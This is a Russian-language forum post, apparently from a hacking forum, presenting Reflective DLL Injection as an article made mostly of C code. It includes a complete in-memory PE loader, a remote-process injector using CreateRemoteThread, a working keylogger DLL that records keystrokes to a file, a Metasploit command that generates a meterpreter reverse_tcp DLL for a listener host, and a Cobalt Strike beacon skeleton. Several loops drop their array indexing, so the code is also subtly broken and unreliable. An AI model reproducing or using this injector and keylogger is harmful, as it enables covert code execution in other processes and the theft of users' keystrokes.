Welcome!

By registering with us, you'll be able to discuss, share and private message with other members of our community.

SignUp Now!
  • Реклама на форуме платная! Обращаться к Admin.
    Произошла смена домена с maza.one на maza1.top!!!

Статья Reflective DLL Injection: техническая анатомия и реализация

  • Автор темы Автор темы slavik
  • Дата начала Дата начала
Статьи форума

slavik

Cool Man
LV
0
 
Регистрация
Мар 23, 2023
Сообщения
57
Реакции
12
Как работает техника, минующая стандартные механизмы ОС Windows.

image



Reflective DLL Injection — это техника загрузки библиотек динамической компоновки непосредственно из памяти, минуя стандартные механизмы операционной системы. В отличие от обычной DLL-инъекции, которая требует физического файла на диске, рефлективная загрузка работает исключительно с данными в оперативной памяти.

Ключевая особенность техники заключается в том, что DLL содержит собственную функцию загрузки — ReflectiveLoader, которая способна самостоятельно разместить библиотеку в памяти процесса и подготовить её к выполнению. Эта функция фактически реализует функциональность системного PE-загрузчика Windows.

Архитектура PE-файлов и процесс загрузки​


Для понимания принципов работы рефлективной загрузки необходимо разобраться со структурой PE-файлов (Portable Executable). Каждый исполняемый файл в Windows, включая DLL, имеет специфическую структуру, которая описывает расположение кода, данных, импортов и другой информации.

Основные компоненты PE-файла, критичные для загрузки:

  • DOS Header — заголовок совместимости с MS-DOS
  • NT Headers — основная информация о файле, включая точку входа
  • Section Headers — описание секций файла (.text, .data, .rdata и т.д.)
  • Import Directory — таблица импортируемых функций
  • Base Relocation Table — информация для перемещения адресов

Стандартный загрузчик Windows выполняет следующие операции при загрузке DLL:

  1. Чтение PE-заголовков и определение требуемого размера памяти
  2. Выделение памяти в адресном пространстве процесса
  3. Копирование секций в выделенную память согласно их виртуальным адресам
  4. Обработка таблицы релокаций для корректировки адресов
  5. Разрешение импортов — заполнение адресов внешних функций
  6. Вызов функции DllMain с параметром DLL_PROCESS_ATTACH

Структуры данных PE-формата​


Основные структуры, с которыми работает загрузчик:
typedef struct _IMAGE_DOS_HEADER {
WORD e_magic; // Magic number
// ... другие поля
LONG e_lfanew; // Смещение к NT заголовкам
} IMAGE_DOS_HEADER;

typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER OptionalHeader;
} IMAGE_NT_HEADERS;

typedef struct _IMAGE_SECTION_HEADER {
BYTE Name[8];
DWORD VirtualSize;
DWORD VirtualAddress;
DWORD SizeOfRawData;
DWORD PointerToRawData;
// ... остальные поля
} IMAGE_SECTION_HEADER;


Реализация ReflectiveLoader​


Сердцем техники является функция ReflectiveLoader, которая должна быть включена в саму DLL. Первоначальная реализация была представлена Stephen Fewer в 2008 году.

Функция ReflectiveLoader выполняет следующие ключевые задачи:

1. Определение собственного местоположения в памяти​


Поскольку код выполняется в произвольном месте памяти, функция должна сначала определить, где именно она находится. Это делается через анализ стека вызовов:
ULONG_PTR GetReflectiveLoaderOffset(VOID)
{
ULONG_PTR uiAddress = 0;
ULONG_PTR uiLibraryAddress = 0;

// Получаем адрес возврата из стека
uiAddress = (ULONG_PTR)_ReturnAddress();

// Ищем начало PE-файла, сканируя назад
while (TRUE) {
if (((PIMAGE_DOS_HEADER)uiAddress)->e_magic == IMAGE_DOS_SIGNATURE) {
uiLibraryAddress = uiAddress;
break;
}
uiAddress--;
}

return uiLibraryAddress;
}


2. Разбор PE-заголовков​


После определения базового адреса загрузчик анализирует структуру PE-файла:
DWORD ReflectiveLoader(VOID)
{
ULONG_PTR uiBaseAddress;
ULONG_PTR uiLibraryAddress;
PIMAGE_NT_HEADERS pNtHeaders;
PIMAGE_SECTION_HEADER pSectionHeader;

// Получаем базовый адрес библиотеки
uiLibraryAddress = GetReflectiveLoaderOffset();

// Получаем указатель на NT заголовки
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress +
((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);

// Выделяем память для загруженной библиотеки
uiBaseAddress = (ULONG_PTR)VirtualAlloc(NULL,
pNtHeaders->OptionalHeader.SizeOfImage,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);


3. Копирование секций​


Секции исходного PE-файла копируются в выделенную память согласно их виртуальным адресам:
// Копируем заголовки
memcpy((VOID*)uiBaseAddress, (VOID*)uiLibraryAddress,
pNtHeaders->OptionalHeader.SizeOfHeaders);

// Копируем секции
pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&pNtHeaders->OptionalHeader +
pNtHeaders->FileHeader.SizeOfOptionalHeader);

for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
if (pSectionHeader.SizeOfRawData) {
memcpy((VOID*)(uiBaseAddress + pSectionHeader.VirtualAddress),
(VOID*)(uiLibraryAddress + pSectionHeader.PointerToRawData),
pSectionHeader.SizeOfRawData);
}
}


4. Обработка релокаций​


Если библиотека не может быть загружена по предпочтительному базовому адресу, необходимо скорректировать все абсолютные адреса:
void ProcessRelocations(ULONG_PTR uiBaseAddress, ULONG_PTR uiLibraryAddress)
{
PIMAGE_NT_HEADERS pNtHeaders;
PIMAGE_DATA_DIRECTORY pDataDirectory;
PIMAGE_BASE_RELOCATION pBaseRelocation;
ULONG_PTR uiAddressDelta;

pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress +
((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);

pDataDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];

// Вычисляем дельту между предпочтительным и реальным адресом
uiAddressDelta = uiBaseAddress - pNtHeaders->OptionalHeader.ImageBase;

if (uiAddressDelta != 0 && pDataDirectory->Size > 0) {
pBaseRelocation = (PIMAGE_BASE_RELOCATION)(uiBaseAddress + pDataDirectory->VirtualAddress);

while (pBaseRelocation->SizeOfBlock > 0) {
DWORD dwNumberOfEntries = (pBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD);
PWORD pwRelativeInfo = (PWORD)((ULONG_PTR)pBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));

for (DWORD i = 0; i < dwNumberOfEntries; i++) {
if ((pwRelativeInfo >> 12) == IMAGE_REL_BASED_HIGHLOW) {
PULONG_PTR pAddress = (PULONG_PTR)(uiBaseAddress + pBaseRelocation->VirtualAddress +
(pwRelativeInfo & 0x0FFF));
*pAddress += uiAddressDelta;
}
}

pBaseRelocation = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pBaseRelocation + pBaseRelocation->SizeOfBlock);
}
}
}


5. Разрешение импортов​


Наиболее сложная часть — заполнение таблицы импортов. Загрузчик должен найти адреса всех внешних функций:
void ResolveImports(ULONG_PTR uiBaseAddress)
{
PIMAGE_NT_HEADERS pNtHeaders;
PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor;
PIMAGE_THUNK_DATA pThunkData;
PIMAGE_IMPORT_BY_NAME pImportByName;

pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress +
((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);

pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(uiBaseAddress +
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

while (pImportDescriptor->Name) {
HMODULE hLibModule;
LPCSTR szLibraryName = (LPCSTR)(uiBaseAddress + pImportDescriptor->Name);

// Загружаем требуемую библиотеку
hLibModule = LoadLibraryA(szLibraryName);

if (hLibModule) {
pThunkData = (PIMAGE_THUNK_DATA)(uiBaseAddress + pImportDescriptor->FirstThunk);

while (pThunkData->u1.AddressOfData) {
if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG) {
// Импорт по ординалу
pThunkData->u1.Function = (ULONG_PTR)GetProcAddress(hLibModule,
(LPCSTR)(pThunkData->u1.Ordinal & 0xFFFF));
} else {
// Импорт по имени
pImportByName = (PIMAGE_IMPORT_BY_NAME)(uiBaseAddress + pThunkData->u1.AddressOfData);
pThunkData->u1.Function = (ULONG_PTR)GetProcAddress(hLibModule,
(LPCSTR)pImportByName->Name);
}
pThunkData++;
}
}
pImportDescriptor++;
}
}


Полная реализация ReflectiveLoader​


Объединяя все компоненты, получаем полную функцию загрузчика:
DWORD WINAPI ReflectiveLoader(VOID)
{
ULONG_PTR uiLibraryAddress = 0;
ULONG_PTR uiBaseAddress = 0;
ULONG_PTR uiEntryPoint = 0;
PIMAGE_NT_HEADERS pNtHeaders = NULL;

// Этап 1: Определяем текущее местоположение
uiLibraryAddress = GetReflectiveLoaderOffset();

// Этап 2: Разбираем PE заголовки
pNtHeaders = (PIMAGE_NT_HEADERS)(uiLibraryAddress +
((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew);

// Этап 3: Выделяем память для загруженной библиотеки
uiBaseAddress = (ULONG_PTR)VirtualAlloc(NULL,
pNtHeaders->OptionalHeader.SizeOfImage,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

if (!uiBaseAddress) {
return 1;
}

// Этап 4: Копируем секции
CopySections(uiBaseAddress, uiLibraryAddress, pNtHeaders);

// Этап 5: Обрабатываем релокации
ProcessRelocations(uiBaseAddress, uiLibraryAddress);

// Этап 6: Разрешаем импорты
ResolveImports(uiBaseAddress);

// Этап 7: Устанавливаем правильные права доступа к секциям
SetSectionPermissions(uiBaseAddress, pNtHeaders);

// Этап 8: Вызываем точку входа DLL
uiEntryPoint = uiBaseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPoint;
((BOOL(WINAPI*)(HINSTANCE, DWORD, LPVOID))uiEntryPoint)(
(HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);

return 0;
}


Создание рефлективной DLL​


Для создания библиотеки, поддерживающей рефлективную загрузку, необходимо включить функцию ReflectiveLoader в экспортируемые функции:
// ReflectiveDLL.def
EXPORTS
ReflectiveLoader
MyFunction


Основной код библиотеки может выглядеть следующим образом:
#include <windows.h>

// Прототип функции загрузчика
DWORD WINAPI ReflectiveLoader(VOID);

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
// Инициализация при загрузке
DisableThreadLibraryCalls(hinstDLL);
break;

case DLL_PROCESS_DETACH:
// Очистка при выгрузке
break;
}
return TRUE;
}

__declspec(dllexport) void MyFunction(void)
{
MessageBox(NULL, L"Reflective DLL loaded successfully!", L"Success", MB_OK);
}

// Здесь должна быть реализация ReflectiveLoader
// (код из предыдущих примеров)


Инъекция рефлективной DLL​


Для загрузки рефлективной DLL в целевой процесс используется следующий алгоритм:
BOOL InjectReflectiveDLL(DWORD dwProcessId, LPVOID lpDLLBuffer, DWORD dwDLLSize)
{
HANDLE hProcess = NULL;
LPVOID lpRemoteLibraryBuffer = NULL;
HANDLE hThread = NULL;
DWORD dwReflectiveLoaderOffset = 0;
BOOL bSuccess = FALSE;

// Открываем целевой процесс
hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, dwProcessId);

if (!hProcess) {
goto cleanup;
}

// Находим смещение функции ReflectiveLoader в DLL
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpDLLBuffer);
if (!dwReflectiveLoaderOffset) {
goto cleanup;
}

// Выделяем память в целевом процессе
lpRemoteLibraryBuffer = VirtualAllocEx(hProcess, NULL, dwDLLSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);

if (!lpRemoteLibraryBuffer) {
goto cleanup;
}

// Копируем DLL в память целевого процесса
if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer,
lpDLLBuffer, dwDLLSize, NULL)) {
goto cleanup;
}

// Создаем поток, который выполнит ReflectiveLoader
hThread = CreateRemoteThread(hProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)((ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset),
NULL, 0, NULL);

if (hThread) {
WaitForSingleObject(hThread, INFINITE);
bSuccess = TRUE;
}

cleanup:
if (hThread) CloseHandle(hThread);
if (hProcess) CloseHandle(hProcess);

return bSuccess;
}


Определение смещения ReflectiveLoader​


Для нахождения функции ReflectiveLoader в загруженной DLL используется разбор таблицы экспорта:
DWORD GetReflectiveLoaderOffset(LPVOID lpDLLBuffer)
{
PIMAGE_DOS_HEADER pDosHeader;
PIMAGE_NT_HEADERS pNtHeaders;
PIMAGE_EXPORT_DIRECTORY pExportDirectory;
PDWORD pAddressOfFunctions;
PDWORD pAddressOfNames;
PWORD pAddressOfNameOrdinals;

pDosHeader = (PIMAGE_DOS_HEADER)lpDLLBuffer;
pNtHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)lpDLLBuffer + pDosHeader->e_lfanew);

pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)lpDLLBuffer +
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

pAddressOfFunctions = (PDWORD)((ULONG_PTR)lpDLLBuffer + pExportDirectory->AddressOfFunctions);
pAddressOfNames = (PDWORD)((ULONG_PTR)lpDLLBuffer + pExportDirectory->AddressOfNames);
pAddressOfNameOrdinals = (PWORD)((ULONG_PTR)lpDLLBuffer + pExportDirectory->AddressOfNameOrdinals);

// Ищем функцию ReflectiveLoader по имени
for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) {
LPCSTR szFunctionName = (LPCSTR)((ULONG_PTR)lpDLLBuffer + pAddressOfNames);

if (strcmp(szFunctionName, "ReflectiveLoader") == 0) {
return pAddressOfFunctions[pAddressOfNameOrdinals];
}
}

return 0;
}


Продвинутые техники и оптимизации​


Современные реализации рефлективной загрузки включают несколько важных оптимизаций и дополнительных возможностей.

Обход DEP (Data Execution Prevention)​


Для корректной работы в системах с включенным DEP необходимо правильно устанавливать права доступа к секциям памяти:
void SetSectionPermissions(ULONG_PTR uiBaseAddress, PIMAGE_NT_HEADERS pNtHeaders)
{
PIMAGE_SECTION_HEADER pSectionHeader;
DWORD dwOldProtect;

pSectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)&pNtHeaders->OptionalHeader +
pNtHeaders->FileHeader.SizeOfOptionalHeader);

for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) {
DWORD dwProtection = 0;

if (pSectionHeader.Characteristics & IMAGE_SCN_MEM_EXECUTE) {
if (pSectionHeader.Characteristics & IMAGE_SCN_MEM_READ) {
if (pSectionHeader.Characteristics & IMAGE_SCN_MEM_WRITE) {
dwProtection = PAGE_EXECUTE_READWRITE;
} else {
dwProtection = PAGE_EXECUTE_READ;
}
} else {
dwProtection = PAGE_EXECUTE;
}
} else {
if (pSectionHeader.Characteristics & IMAGE_SCN_MEM_READ) {
if (pSectionHeader.Characteristics & IMAGE_SCN_MEM_WRITE) {
dwProtection = PAGE_READWRITE;
} else {
dwProtection = PAGE_READONLY;
}
} else {
dwProtection = PAGE_NOACCESS;
}
}

VirtualProtect((LPVOID)(uiBaseAddress + pSectionHeader.VirtualAddress),
pSectionHeader.SizeOfRawData,
dwProtection,
&dwOldProtect);
}
}


Поддержка TLS (Thread Local Storage)​


Для библиотек, использующих TLS, необходимо дополнительно обработать TLS Directory:
void ProcessTLS(ULONG_PTR uiBaseAddress, PIMAGE_NT_HEADERS pNtHeaders)
{
PIMAGE_TLS_DIRECTORY pTlsDirectory;

if (pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].Size > 0) {
pTlsDirectory = (PIMAGE_TLS_DIRECTORY)(uiBaseAddress +
pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS].VirtualAddress);

// Выполняем TLS callbacks
if (pTlsDirectory->AddressOfCallBacks) {
PIMAGE_TLS_CALLBACK* pCallback = (PIMAGE_TLS_CALLBACK*)pTlsDirectory->AddressOfCallBacks;

while (*pCallback) {
(*pCallback)((LPVOID)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);
pCallback++;
}
}
}
}


Практические примеры использования​


Рассмотрим практический пример создания простой рефлективной DLL для демонстрации работы техники.

Пример 1: Информационная DLL​

// InfoDLL.cpp
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

// Функция для вывода информации о процессе
__declspec(dllexport) void WINAPI ShowProcessInfo(void)
{
CHAR szBuffer[1024];
DWORD dwProcessId = GetCurrentProcessId();
HANDLE hSnapshot;
PROCESSENTRY32 pe32;

hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot != INVALID_HANDLE_VALUE) {
pe32.dwSize = sizeof(PROCESSENTRY32);

if (Process32First(hSnapshot, &pe32)) {
do {
if (pe32.th32ProcessID == dwProcessId) {
sprintf_s(szBuffer, sizeof(szBuffer),
"Process Name: %s\nProcess ID: %d\nParent PID: %d\nThreads: %d",
pe32.szExeFile, pe32.th32ProcessID,
pe32.th32ParentProcessID, pe32.cntThreads);

MessageBoxA(NULL, szBuffer, "Process Information", MB_OK);
break;
}
} while (Process32Next(hSnapshot, &pe32));
}
CloseHandle(hSnapshot);
}
}

// Включаем ReflectiveLoader (код из предыдущих примеров)
// ...


Пример 2: Keylogger DLL​

// KeyloggerDLL.cpp
#include <windows.h>
#include <fstream>

HHOOK g_hKeyboardHook = NULL;
std::ofstream g_logFile;

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if (nCode >= 0 && wParam == WM_KEYDOWN) {
KBDLLHOOKSTRUCT* pKeyStruct = (KBDLLHOOKSTRUCT*)lParam;

// Логируем нажатие клавиши
char key = MapVirtualKey(pKeyStruct->vkCode, MAPVK_VK_TO_CHAR);
if (key >= 32 && key <= 126) {
g_logFile << key;
g_logFile.flush();
}
}

return CallNextHookEx(g_hKeyboardHook, nCode, wParam, lParam);
}

__declspec(dllexport) void WINAPI StartKeylogging(void)
{
g_logFile.open("C:\\temp\\keylog.txt", std::ios::app);

g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc,
GetModuleHandle(NULL), 0);

if (g_hKeyboardHook) {
// Запускаем цикл сообщений
MSG msg;
while (GetMessage(&msg, NULL, 0, 0)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
}

__declspec(dllexport) void WINAPI StopKeylogging(void)
{
if (g_hKeyboardHook) {
UnhookWindowsHookEx(g_hKeyboardHook);
g_hKeyboardHook = NULL;
}

if (g_logFile.is_open()) {
g_logFile.close();
}

PostQuitMessage(0);
}


Интеграция с фреймворками​


Современные инструменты для пентестинга активно используют рефлективную загрузку. Рассмотрим примеры интеграции с популярными фреймворками.

Metasploit интеграция​


В Metasploit рефлективная загрузка используется для стейджеров:
# Пример Metasploit payload с рефлективной загрузкой
use payload/windows/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
generate -f dll -o meterpreter.dll

# Payload будет включать ReflectiveLoader для загрузки в память


Cobalt Strike BeaconDLL​


Cobalt Strike использует рефлективные DLL для своих beacon-модулей:
// Пример структуры Beacon DLL
DWORD WINAPI ReflectiveLoader(VOID);

void go(char* args, int len) {
// Основная функциональность beacon
datap parser;
char* command;

BeaconDataParse(&parser, args, len);
command = BeaconDataExtract(&parser, NULL);

// Выполнение команды и возврат результата
BeaconOutput(CALLBACK_OUTPUT, result, strlen(result));
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) {
switch (dwReason) {
case DLL_PROCESS_ATTACH:
// Инициализация при загрузке
break;
}
return TRUE;
}


Отладка и тестирование​


При разработке рефлективных DLL важно правильно настроить процесс отладки. Поскольку код загружается динамически, стандартные средства отладки могут работать некорректно.

Отладочные версии ReflectiveLoader​

#ifdef _DEBUG
#define DEBUG_PRINT(fmt, ...) do { \
char debug_buf[256]; \
sprintf_s(debug_buf, sizeof(debug_buf), fmt, __VA_ARGS__); \
OutputDebugStringA(debug_buf); \
} while(0)
#else
#define DEBUG_PRINT(fmt, ...)
#endif

DWORD WINAPI ReflectiveLoader(VOID)
{
DEBUG_PRINT("ReflectiveLoader: Starting\n");

ULONG_PTR uiLibraryAddress = GetReflectiveLoaderOffset();
DEBUG_PRINT("ReflectiveLoader: Library address = 0x%p\n", (void*)uiLibraryAddress);

// Остальной код загрузчика с отладочными сообщениями

DEBUG_PRINT("ReflectiveLoader: Completed successfully\n");
return 0;
}


Тестирование совместимости​


Важно тестировать рефлективные DLL на различных версиях Windows и архитектурах:
// Проверка архитектуры процесса
BOOL IsProcess64Bit(HANDLE hProcess)
{
BOOL bIsWow64 = FALSE;

#ifdef _WIN64
return TRUE;
#else
if (IsWow64Process(hProcess, &bIsWow64)) {
return !bIsWow64;
}
return FALSE;
#endif
}

// Адаптация загрузчика под архитектуру
#ifdef _WIN64
typedef ULONG64 ARCHITECTURE_TYPE;
#else
typedef ULONG32 ARCHITECTURE_TYPE;
#endif


Reflective DLL Injection представляет собой мощную технику, которая требует глубокого понимания внутреннего устройства Windows и формата PE-файлов. Правильная реализация позволяет создавать эффективные инструменты для исследования безопасности, однако требует тщательного тестирования и отладки для обеспечения стабильной работы в различных средах.
 

Пинг форума и аптайм

Averaged results for https://maza.one

uptime counter
Назад
Сверху